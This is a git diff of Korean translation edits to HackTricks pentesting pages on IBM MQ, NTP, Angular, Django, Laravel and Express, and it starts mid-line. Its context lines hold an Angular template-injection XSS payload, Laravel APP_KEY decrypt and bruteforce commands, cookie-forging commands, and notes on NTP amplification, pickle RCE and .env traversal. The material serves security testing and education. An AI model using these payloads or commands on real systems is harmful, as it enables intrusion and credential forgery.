SERVICE`)을 실행하기 위해 `/admin/action/qmgr/{qmgrName}/mqsc`에 HTTP 엔드포인트가 있습니다. 이 측면은 아직 여기에서 다루어지지 않았습니다._ +> _참고: 항상 IBM MQ 문서(관리 참조)에 따르면, 서비스 생성을 위한 동등한 MQSC 명령(`DEFINE SERVICE`)을 실행하기 위해 `/admin/action/qmgr/{qmgrName}/mqsc`에 HTTP 엔드포인트도 있습니다. 이 측면은 아직 여기에서 다루어지지 않았습니다._ 원격 프로그램 실행을 위한 PCF를 사용한 서비스 생성/삭제는 **punch-q**로 수행할 수 있습니다: @@ -277,7 +277,7 @@ qmgr.disconnect() ``` 상수 이름을 찾을 수 없는 경우, [IBM MQ 문서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)를 참조할 수 있습니다. -> _[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) 예제 (십진수 = 73). 매개변수 `MQCA_CLUSTER_NAME` (십진수 = 2029)이 필요하며, 이는 `_`일 수 있습니다 (문서: ):\* +> _[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)의 예 (십진수 = 73). 매개변수 `MQCA_CLUSTER_NAME` (십진수 = 2029)이 필요하며, 이는 `_`일 수 있습니다 (문서: ):\* > > ```python > import pymqi @@ -330,4 +330,4 @@ CONTAINER ID IMAGE COMMAND CRE - [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) - [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq) -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index 906d23912..45710e39e 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -12,7 +12,7 @@ - **중요성**: 보안, 로깅, 암호 프로토콜 및 분산 시스템에 중요합니다. - **보안 조치**: - 인증이 있는 신뢰할 수 있는 NTP 또는 NTS(네트워크 시간 보안) 소스를 사용합니다. -- 데몬에 쿼리/명령을 보낼 수 있는 대상을 제한합니다 (``restrict default noquery``, ``kod`` 등). +- 데몬에 쿼리/명령을 할 수 있는 대상을 제한합니다 (``restrict default noquery``, ``kod`` 등). - 레거시 모드-6/7 제어 쿼리 (``monlist``, ``ntpdc``)를 비활성화하거나 속도를 제한합니다. - 변조를 위해 동기화 드리프트/윤초 상태를 모니터링합니다. - 데몬을 최신 상태로 유지합니다 (아래의 최근 CVE 참조). @@ -51,7 +51,7 @@ chronyc -a -n tracking -h chronyc -a -n sources -v -h chronyc -a -n sourcestats -h ``` -**M/S** 플래그와 기타 필드(계층, 도달, 지터 등)의 의미는 chronyc 매뉴얼 페이지를 참조하세요. +**M/S** 플래그와 기타 필드(스트라텀, 리치, 지터 등)의 의미는 chronyc 매뉴얼 페이지를 참조하세요. ### Nmap ```bash @@ -80,23 +80,23 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv | 연도 | CVE | 구성 요소 | 영향 | |------|-----|-----------|--------| -| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | **ntpq** 응답을 통해 접근 가능한 여러 개의 경계 초과 쓰기. **4.2.8p16**에서 패치 🡒 업그레이드 또는 수정 사항 백포트. | +| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | **ntpq** 응답을 통해 접근 가능한 여러 개의 경계 초과 쓰기. **4.2.8p16**에서 패치 🡒 업그레이드 또는 백포트 수정. | | 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust 구현) | 잘못된 형식의 **NTS** 쿠키로 인해 v0.3.3 이전에 원격 **DoS** 발생 – NTS가 **비활성화**된 경우에도 포트 123에 영향을 미침. | | 2024 | 배포판 업데이트 | **chrony 4.4 / 4.5** – 여러 보안 강화 및 NTS-KE 수정 (예: SUSE-RU-2024:2022) | | 2024 | 기록 DDoS | Cloudflare는 **5.6 Tbps UDP 반사** 공격을 보고 (NTP가 사용된 프로토콜 중 하나). 인터넷에 노출된 호스트에서 *monitor* 및 *monlist*를 비활성화하십시오. | -> **익스플로잇 키트**: 2023 ntpq OOB-write 시리즈에 대한 개념 증명 페이로드는 GitHub에 있으며 (Meinberg 작성 참조) 시스템 관리자의 클라이언트 측 피싱을 위해 무기화될 수 있습니다. +> **익스플로잇 키트**: 2023 ntpq OOB-write 시리즈의 개념 증명 페이로드는 GitHub에 있으며 (Meinberg 작성 참조) 시스템 관리자의 클라이언트 측 피싱을 위해 무기화될 수 있습니다. --- ## 고급 공격 ### 1. NTP 증폭 / 반사 -구식 Mode-7 ``monlist`` 쿼리는 최대 **600 호스트 주소**를 반환하며 여전히 수천 개의 인터넷 호스트에 존재합니다. 응답 (428-468 바이트/항목)이 8바이트 요청보다 *~ 200×* 더 크기 때문에 공격자는 세 자릿수 증폭 계수를 달성할 수 있습니다. 완화 조치: +구식 Mode-7 ``monlist`` 쿼리는 최대 **600개의 호스트 주소**를 반환하며 여전히 수천 개의 인터넷 호스트에 존재합니다. 응답 (428-468 바이트/항목)이 8바이트 요청보다 *~ 200배* 더 크기 때문에 공격자는 세 자리 증폭 계수를 달성할 수 있습니다. 완화 조치: - ntp 4.2.8p15+로 업그레이드하고 ``disable monitor``를 **추가**하십시오. -- 엣지에서 UDP/123의 속도를 제한하거나 DDoS 장치에서 *sessions-required*를 활성화하십시오. -- 출처 스푸핑을 차단하기 위해 *BCP 38* 이탈 필터링을 활성화하십시오. +- 엣지에서 UDP/123의 속도를 제한하거나 DDoS 장비에서 *sessions-required*를 활성화하십시오. +- 출구 필터링을 위해 *BCP 38*를 활성화하여 소스 스푸핑을 차단하십시오. 단계별 분석을 위해 Cloudflare의 학습 센터 기사를 참조하십시오. @@ -114,16 +114,16 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert # Grab banner & ALPN openssl s_client -connect :4460 -alpn ntske/1 -tls1_3 -ign_eof ``` -자체 서명된 인증서 또는 만료된 인증서와 약한 암호화 스위트(비-AEAD)를 찾으십시오. 참조: RFC 8915 §4. +자체 서명된 인증서나 만료된 인증서 및 약한 암호화 스위트(비 AEAD)를 찾아보세요. 참조: RFC 8915 §4. --- ## 강화 / 최선의 현재 관행 (BCP-233 / RFC 8633) -*운영자는 다음을 수행해야 합니다:* +*운영자는 다음을 권장합니다:* 1. **≥ 4**개의 독립적이고 다양한 시간 소스(공개 풀, GPS, PTP-브리지)를 사용하여 단일 소스 오염을 피하십시오. -2. 남용 클라이언트가 전체 응답 대신 **Kiss-o'-Death** 속도 제한 패킷을 받도록 ``kod`` 및 ``limited``/``nomodify`` 제한을 활성화하십시오. -3. **panic** 이벤트 또는 1000초 이상의 단계 조정을 모니터링하십시오. (RFC 8633 §5.3에 따른 공격의 징후.) +2. ``kod`` 및 ``limited``/``nomodify`` 제한을 활성화하여 악의적인 클라이언트가 전체 응답 대신 **Kiss-o'-Death** 속도 제한 패킷을 받도록 하십시오. +3. **panic** 이벤트 또는 1000초 이상의 단계 조정을 위해 데몬 로그를 모니터링하십시오. (RFC 8633 §5.3에 따른 공격의 징후.) 4. 도약 초 중단을 피하기 위해 **leap-smear**를 고려하되, *모든* 하류 클라이언트가 동일한 스미어 윈도우를 사용하도록 하십시오. 5. 도약 초 플래그가 누락되지 않도록 폴링을 ≤24시간으로 유지하십시오. @@ -179,4 +179,4 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru - Khronos/Chronos draft (time-shift mitigation) - chronyc manual/examples for remote monitoring - zgrab2 ntp module docs -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index ebe5bc198..964e5ef79 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -1,6 +1,6 @@ # Angular -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## The Checklist @@ -12,7 +12,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). * [ ] 사용자는 서버 측 또는 클라이언트 측 템플릿에 대한 제어 권한이 없습니다. * [ ] 신뢰할 수 없는 사용자 입력은 애플리케이션에서 신뢰하기 전에 적절한 보안 컨텍스트를 사용하여 정리됩니다. * [ ] `BypassSecurity*` 메서드는 신뢰할 수 없는 입력과 함께 사용되지 않습니다. -* [ ] 신뢰할 수 없는 사용자 입력은 `ElementRef`, `Renderer2`, `Document`와 같은 Angular 클래스나 다른 JQuery/DOM 싱크에 전달되지 않습니다. +* [ ] 신뢰할 수 없는 사용자 입력은 `ElementRef`, `Renderer2`, `Document`와 같은 Angular 클래스나 기타 JQuery/DOM 싱크에 전달되지 않습니다. ## What is Angular @@ -43,7 +43,7 @@ my-workspace/ ``` 문서에 따르면, 모든 Angular 애플리케이션은 최소한 하나의 컴포넌트, 즉 컴포넌트 계층을 DOM과 연결하는 루트 컴포넌트(`AppComponent`)를 가지고 있습니다. 각 컴포넌트는 애플리케이션 데이터와 로직을 포함하는 클래스를 정의하며, 타겟 환경에 표시될 뷰를 정의하는 HTML 템플릿과 연결됩니다. `@Component()` 데코레이터는 그 아래의 클래스를 컴포넌트로 식별하고, 템플릿 및 관련 컴포넌트 전용 메타데이터를 제공합니다. `AppComponent`는 `app.component.ts` 파일에 정의되어 있습니다. -Angular NgModules는 애플리케이션 도메인, 워크플로우 또는 밀접하게 관련된 기능 세트를 위한 컴파일 컨텍스트를 선언합니다. 모든 Angular 애플리케이션은 일반적으로 `AppModule`이라고 명명된 루트 모듈을 가지고 있으며, 이는 애플리케이션을 시작하는 부트스트랩 메커니즘을 제공합니다. 애플리케이션은 일반적으로 많은 기능 모듈을 포함합니다. `AppModule`은 `app.module.ts` 파일에 정의되어 있습니다. +Angular NgModules는 애플리케이션 도메인, 워크플로우 또는 밀접하게 관련된 기능 세트를 위한 컴파일 컨텍스트를 선언합니다. 모든 Angular 애플리케이션은 일반적으로 `AppModule`이라는 이름의 루트 모듈을 가지고 있으며, 이는 애플리케이션을 시작하는 부트스트랩 메커니즘을 제공합니다. 애플리케이션은 일반적으로 많은 기능 모듈을 포함합니다. `AppModule`은 `app.module.ts` 파일에 정의되어 있습니다. Angular `Router` NgModule은 애플리케이션의 다양한 상태와 뷰 계층 간의 탐색 경로를 정의할 수 있는 서비스를 제공합니다. `RouterModule`은 `app-routing.module.ts` 파일에 정의되어 있습니다. @@ -66,7 +66,7 @@ Angular 프레임워크는 `tsconfig.json` 옵션을 따르며 TypeScript 파일 ## 데이터 바인딩 -바인딩은 구성 요소와 해당 뷰 간의 통신 프로세스를 의미합니다. 이는 Angular 프레임워크와 데이터 전송에 사용됩니다. 데이터는 이벤트, 보간, 속성 또는 양방향 바인딩 메커니즘을 통해 전달될 수 있습니다. 또한, 데이터는 관련 구성 요소(부모-자식 관계) 간 및 두 개의 관련 없는 구성 요소 간에 Service 기능을 사용하여 공유될 수 있습니다. +바인딩은 구성 요소와 해당 뷰 간의 통신 프로세스를 나타냅니다. 이는 Angular 프레임워크와 데이터 전송에 사용됩니다. 데이터는 이벤트, 보간, 속성 또는 양방향 바인딩 메커니즘을 통해 전달될 수 있습니다. 또한, 데이터는 관련 구성 요소(부모-자식 관계) 간 및 두 개의 관련 없는 구성 요소 간에 Service 기능을 사용하여 공유될 수 있습니다. 바인딩은 데이터 흐름에 따라 분류할 수 있습니다: @@ -212,7 +212,6 @@ test = "

test

"; //app.component.html
``` -```markdown

test

### 템플릿 주입 @@ -222,7 +221,6 @@ test = "

test

"; Angular는 템플릿을 활용하여 페이지를 동적으로 구성합니다. 이 접근 방식은 Angular가 평가할 템플릿 표현식을 이중 중괄호(`{{}}`)로 감싸는 것을 포함합니다. 이렇게 함으로써 프레임워크는 추가 기능을 제공합니다. 예를 들어, `{{1+1}}`와 같은 템플릿은 2로 표시됩니다. 일반적으로 Angular는 템플릿 표현식과 혼동될 수 있는 사용자 입력을 이스케이프합니다 (예: \`< > ' " \`\`와 같은 문자). 이는 블랙리스트 문자를 사용하지 않기 위해 JavaScript 문자열 객체를 생성하는 함수를 활용하는 등 이 제한을 우회하기 위해 추가 단계가 필요함을 의미합니다. 그러나 이를 달성하기 위해서는 Angular의 컨텍스트, 속성 및 변수를 고려해야 합니다. 따라서 템플릿 주입 공격은 다음과 같이 나타날 수 있습니다: -``` ```jsx //app.component.ts const _userInput = '{{constructor.constructor(\'alert(1)\'()}}' @@ -319,7 +317,7 @@ this.elementRef.nativeElement.appendChild(s); } } ``` -* `Renderer2`가 기본 요소에 대한 직접 액세스가 지원되지 않을 때에도 안전하게 사용할 수 있는 API를 제공하지만, 여전히 몇 가지 보안 결함이 있습니다. `Renderer2`를 사용하면 `setAttribute()` 메서드를 사용하여 HTML 요소의 속성을 설정할 수 있으며, 이 메서드는 XSS 방지 메커니즘이 없습니다. +* `Renderer2`가 기본 요소에 대한 직접 액세스가 지원되지 않을 때도 안전하게 사용할 수 있는 API를 제공하지만, 여전히 몇 가지 보안 결함이 있습니다. `Renderer2`를 사용하면 `setAttribute()` 메서드를 사용하여 HTML 요소의 속성을 설정할 수 있으며, 이 메서드는 XSS 방지 메커니즘이 없습니다. ```tsx //app.component.ts @@ -500,7 +498,7 @@ window.location.replace("http://google.com/about") ``` * `window.open()` -`window.open()` 메서드는 URL을 받아 이를 새 탭이나 기존 탭 또는 창에 로드합니다. 이 메서드에 대한 제어를 가지면 XSS 또는 열린 리디렉션 취약점을 유발할 수 있는 기회가 될 수 있습니다. +`window.open()` 메서드는 URL을 받아 해당 리소스를 새 탭이나 기존 탭 또는 창에 로드합니다. 이 메서드에 대한 제어를 가지면 XSS 또는 열린 리디렉션 취약점을 유발할 기회가 될 수 있습니다. ```tsx //app.component.ts @@ -514,7 +512,7 @@ window.open("https://google.com/about", "_blank") #### Angular 클래스 -* Angular 문서에 따르면, Angular `Document`는 DOM 문서와 동일하므로 Angular에서 클라이언트 측 취약점을 악용하기 위해 DOM 문서에 대한 일반 벡터를 사용할 수 있습니다. `Document.location` 속성과 메서드는 아래 예제와 같이 성공적인 열린 리디렉션 공격의 싱크가 될 수 있습니다: +* Angular 문서에 따르면, Angular `Document`는 DOM 문서와 동일하므로 Angular에서 클라이언트 측 취약점을 악용하기 위해 DOM 문서에 대한 일반 벡터를 사용할 수 있습니다. `Document.location` 속성과 메서드는 아래 예와 같이 성공적인 열린 리디렉션 공격의 싱크가 될 수 있습니다: ```tsx //app.component.ts @@ -537,7 +535,7 @@ this.document.location.href = 'https://google.com/about'; //app.component.html ``` -* 연구 단계에서 우리는 열린 리디렉션 취약점에 대한 Angular `Location` 클래스도 검토했지만 유효한 벡터를 찾지 못했습니다. `Location`은 애플리케이션이 브라우저의 현재 URL과 상호작용하는 데 사용할 수 있는 Angular 서비스입니다. 이 서비스는 주어진 URL을 조작하기 위한 여러 메서드 - `go()`, `replaceState()`, 및 `prepareExternalUrl()`를 가지고 있습니다. 그러나 우리는 이를 외부 도메인으로 리디렉션하는 데 사용할 수 없습니다. 예를 들어: +* 연구 단계에서 우리는 열린 리디렉션 취약점에 대한 Angular `Location` 클래스도 검토했지만 유효한 벡터를 찾지 못했습니다. `Location`은 애플리케이션이 브라우저의 현재 URL과 상호작용하는 데 사용할 수 있는 Angular 서비스입니다. 이 서비스는 주어진 URL을 조작하는 여러 메서드 - `go()`, `replaceState()`, 및 `prepareExternalUrl()`를 가지고 있습니다. 그러나 우리는 이를 외부 도메인으로 리디렉션하는 데 사용할 수 없습니다. 예를 들어: ```tsx //app.component.ts @@ -608,4 +606,4 @@ this.router.navigateByUrl('URL') -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index b72f207ee..c967da170 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,18 +1,18 @@ # Django -{{#include /src/banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Cache Manipulation to RCE -Django의 기본 캐시 저장 방법은 [Python pickles](https://docs.python.org/3/library/pickle.html)로, [신뢰할 수 없는 입력이 언픽클될 경우](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기반 서버에서 RCE로 상승시킬 수 있습니다**. +Django의 기본 캐시 저장 방법은 [Python pickles](https://docs.python.org/3/library/pickle.html)로, [신뢰할 수 없는 입력이 언픽클링될 경우](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기반 서버에서 RCE로 상승시킬 수 있습니다**. -Django 캐시는 네 곳 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [메모리](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [파일](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [데이터베이스](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성이 높은 공격 벡터(Redis 주입 및 SQL 주입)이며, 공격자는 파일 기반 캐시를 사용하여 임의의 쓰기를 RCE로 전환할 수도 있습니다. 유지 관리자는 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름 및 Redis 서버 세부정보는 구현에 따라 다를 수 있습니다. +Django 캐시는 네 가지 장소 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [메모리](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [파일](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [데이터베이스](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성이 높은 공격 벡터입니다 (Redis 주입 및 SQL 주입), 그러나 공격자는 파일 기반 캐시를 사용하여 임의의 쓰기를 RCE로 전환할 수도 있습니다. 유지 관리자는 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름 및 Redis 서버 세부정보는 구현에 따라 다를 수 있습니다. 이 HackerOne 보고서는 SQLite 데이터베이스에 저장된 Django 캐시를 악용하는 훌륭하고 재현 가능한 예제를 제공합니다: https://hackerone.com/reports/1415436 --- ## Server-Side Template Injection (SSTI) -Django 템플릿 언어(DTL)는 **튜링 완전**합니다. 사용자 제공 데이터가 *템플릿 문자열*로 렌더링되면(예: `Template(user_input).render()`를 호출하거나 `|safe`/`format_html()`가 자동 이스케이프를 제거할 때), 공격자는 전체 SSTI → RCE를 달성할 수 있습니다. +Django 템플릿 언어(DTL)는 **튜링 완전**합니다. 사용자 제공 데이터가 *템플릿 문자열*로 렌더링될 경우 (예: `Template(user_input).render()`를 호출하거나 `|safe`/`format_html()`가 자동 이스케이프를 제거할 때), 공격자는 전체 SSTI → RCE를 달성할 수 있습니다. ### Detection 1. *모든* 비위생화된 요청 데이터를 포함하는 `Template()` / `Engine.from_string()` / `render_to_string()`에 대한 동적 호출을 찾습니다. @@ -65,7 +65,7 @@ print(f"sessionid={mal}") --- ## 최근 (2023-2025) 고위험 Django CVE 점검 사항 -* **CVE-2025-48432** – *이스케이프되지 않은 `request.path`를 통한 로그 주입* (2025년 6월 4일 수정). 공격자가 로그 파일에 개행/ANSI 코드를 밀어넣고 하위 로그 분석을 오염시킬 수 있습니다. 패치 수준 ≥ 4.2.22 / 5.1.10 / 5.2.2. +* **CVE-2025-48432** – *이스케이프되지 않은 `request.path`를 통한 로그 주입* (2025년 6월 4일 수정). 공격자가 로그 파일에 개행/ANSI 코드를 밀어넣고 하류 로그 분석을 오염시킬 수 있습니다. 패치 수준 ≥ 4.2.22 / 5.1.10 / 5.2.2. * **CVE-2024-42005** – *`JSONField`의 `QuerySet.values()/values_list()`에서의 치명적인 SQL 주입* (CVSS 9.8). JSON 키를 조작하여 인용을 벗어나고 임의의 SQL을 실행합니다. 4.2.15 / 5.0.8에서 수정됨. 정확한 프레임워크 버전을 `X-Frame-Options` 오류 페이지 또는 `/static/admin/css/base.css` 해시를 통해 항상 지문을 찍고, 해당되는 경우 위 사항을 테스트합니다. @@ -76,4 +76,4 @@ print(f"sessionid={mal}") * Django 보안 릴리스 – "Django 5.2.2, 5.1.10, 4.2.22가 CVE-2025-48432를 해결합니다" – 2025년 6월 4일. * OP-Innovate: "Django가 SQL 주입 결함 CVE-2024-42005를 해결하기 위해 보안 업데이트를 릴리스합니다" – 2024년 8월 11일. -{{#include /src/banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 5b4c3515c..0ed27b026 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -1,6 +1,6 @@ # Laravel -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ### Laravel SQLInjection @@ -45,7 +45,7 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -스크립트는 CBC 및 GCM 페이로드를 투명하게 지원하며 HMAC/태그 필드를 재생성합니다. +스크립트는 CBC 및 GCM 페이로드를 투명하게 지원하며 HMAC/tag 필드를 재생성합니다. --- @@ -67,28 +67,25 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ## 쿠키 무차별 대입을 통한 대량 APP_KEY 발견 -모든 새로운 Laravel 응답은 최소 1개의 암호화된 쿠키(`XSRF-TOKEN` 및 일반적으로 `laravel_session`)를 설정하므로, **공개 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 유출**하여 오프라인에서 공격할 수 있습니다. +모든 새로운 Laravel 응답은 최소 1개의 암호화된 쿠키(`XSRF-TOKEN` 및 일반적으로 `laravel_session`)를 설정하므로, **공공 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 유출**하여 오프라인에서 공격할 수 있습니다. -Synacktiv에서 발표한 연구의 주요 발견(2024-2025): +Synacktiv(2024-2025)에서 발표한 연구의 주요 발견: * 데이터셋 2024년 7월 » 580k 토큰, **3.99 % 키 해독됨** (≈23k) * 데이터셋 2025년 5월 » 625k 토큰, **3.56 % 키 해독됨** * >1,000 서버는 여전히 레거시 CVE-2018-15133에 취약하며, 토큰이 직렬화된 데이터를 직접 포함하고 있습니다. -* 엄청난 키 재사용 – 상위 10개 APP_KEY는 상업용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)과 함께 제공되는 하드코딩된 기본값입니다. +* 엄청난 키 재사용 – 상위 10개 APP_KEY는 상용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)과 함께 제공되는 하드코딩된 기본값입니다. 개인 Go 도구 **nounours**는 AES-CBC/GCM 무차별 대입 처리량을 ~15억 시도/초로 증가시켜 전체 데이터셋 해독을 2분 미만으로 줄입니다. --- -## 참고자료 +## 참조 * [Laravel: APP_KEY 유출 분석](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP 일반 가젯 체인](https://github.com/ambionics/phpggc) * [CVE-2018-15133 작성 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) -{{#include ../../banners/hacktricks-training.md}} - - -## Laravel 트릭 +## Laravel Tricks ### 디버깅 모드 @@ -101,9 +98,9 @@ Laravel이 **디버깅 모드**에 있으면 **코드**와 **민감한 데이터 ### .env -Laravel은 쿠키 및 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, `/../.env` 아래에서 일부 경로 탐색을 사용하여 접근할 수 있습니다. +Laravel은 쿠키 및 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, `/../.env` 아래에서 일부 경로 탐색을 통해 접근할 수 있습니다. -Laravel은 또한 이 정보를 디버그 페이지에 표시합니다(오류를 발견했을 때 나타나고 활성화됩니다). +Laravel은 또한 이 정보를 디버그 페이지에 표시합니다(오류가 발생하고 활성화될 때 나타남). Laravel의 비밀 APP_KEY를 사용하여 쿠키를 복호화하고 재암호화할 수 있습니다: @@ -201,7 +198,7 @@ Laravel은 내부적으로 HMAC 무결성과 함께 AES-256-CBC (또는 GCM)를 "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)`는 기본적으로 평문을 `serialize()`하며, 반면에 `decrypt($payload, $unserialize=true)` **는 자동으로 복호화된 값을 `unserialize()`합니다.** 따라서 **32바이트 비밀 `APP_KEY`를 아는 공격자는 암호화된 PHP 직렬화 객체를 만들고 마법 메서드(`__wakeup`, `__destruct`, …)를 통해 RCE를 얻을 수 있습니다.** +`encrypt($value, $serialize=true)`는 기본적으로 평문을 `serialize()`하며, 반면에 `decrypt($payload, $unserialize=true)` **는 자동으로 `unserialize()`**된 값을 복호화합니다. 따라서 **32바이트 비밀 `APP_KEY`를 아는 공격자는 암호화된 PHP 직렬화 객체를 만들고 마법 메서드(`__wakeup`, `__destruct`, …)를 통해 RCE를 얻을 수 있습니다.** 최소 PoC (프레임워크 ≥9.x): ```php @@ -226,7 +223,7 @@ laravel_crypto_killer.py decrypt -k -v # Try a word-list of keys against a token (offline) laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ``` -스크립트는 CBC 및 GCM 페이로드를 투명하게 지원하며 HMAC/태그 필드를 재생성합니다. +스크립트는 CBC 및 GCM 페이로드를 투명하게 지원하며 HMAC/tag 필드를 재생성합니다. --- @@ -250,17 +247,17 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt 모든 새로운 Laravel 응답은 최소 1개의 암호화된 쿠키(`XSRF-TOKEN` 및 일반적으로 `laravel_session`)를 설정하므로, **공공 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 유출**하여 오프라인에서 공격할 수 있습니다. -Synacktiv에서 발표한 연구의 주요 발견 (2024-2025): +Synacktiv(2024-2025)에서 발표한 연구의 주요 발견: * 데이터셋 2024년 7월 » 580k 토큰, **3.99 % 키 해독됨** (≈23k) * 데이터셋 2025년 5월 » 625k 토큰, **3.56 % 키 해독됨** * >1,000 서버는 여전히 레거시 CVE-2018-15133에 취약하며, 토큰이 직접 직렬화된 데이터를 포함합니다. -* 엄청난 키 재사용 – 상위 10개 APP_KEY는 상업용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)과 함께 제공되는 하드코딩된 기본값입니다. +* 엄청난 키 재사용 – 상위 10개 APP_KEY는 상용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)과 함께 제공되는 하드코딩된 기본값입니다. -개인 Go 도구 **nounours**는 AES-CBC/GCM 무차별 대입 처리량을 ~15억 시도/초로 증가시켜 전체 데이터셋 해독을 <2분으로 줄입니다. +개인 Go 도구 **nounours**는 AES-CBC/GCM 무차별 대입 처리량을 ~15억 시도/초로 증가시켜 전체 데이터셋 해독을 2분 미만으로 줄입니다. --- -## 참고자료 +## 참고 문헌 * [Laravel: APP_KEY 유출 분석](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP 일반 가젯 체인](https://github.com/ambionics/phpggc) diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md index 068c12df0..3a6280e26 100644 --- a/src/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md @@ -1,6 +1,6 @@ # NodeJS Express -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## 쿠키 서명 @@ -22,10 +22,10 @@ cookie-monster -b -f cookies.json ```bash cookie-monster -b -f cookies.json -w custom.lst ``` -### Encode and sign a new cookie +### 새로운 쿠키 인코딩 및 서명 비밀을 알고 있다면 쿠키에 서명할 수 있습니다. ```bash cookie-monster -e -f new_cookie.json -k secret ``` -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 4840d097a..a8156db18 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,28 +6,28 @@
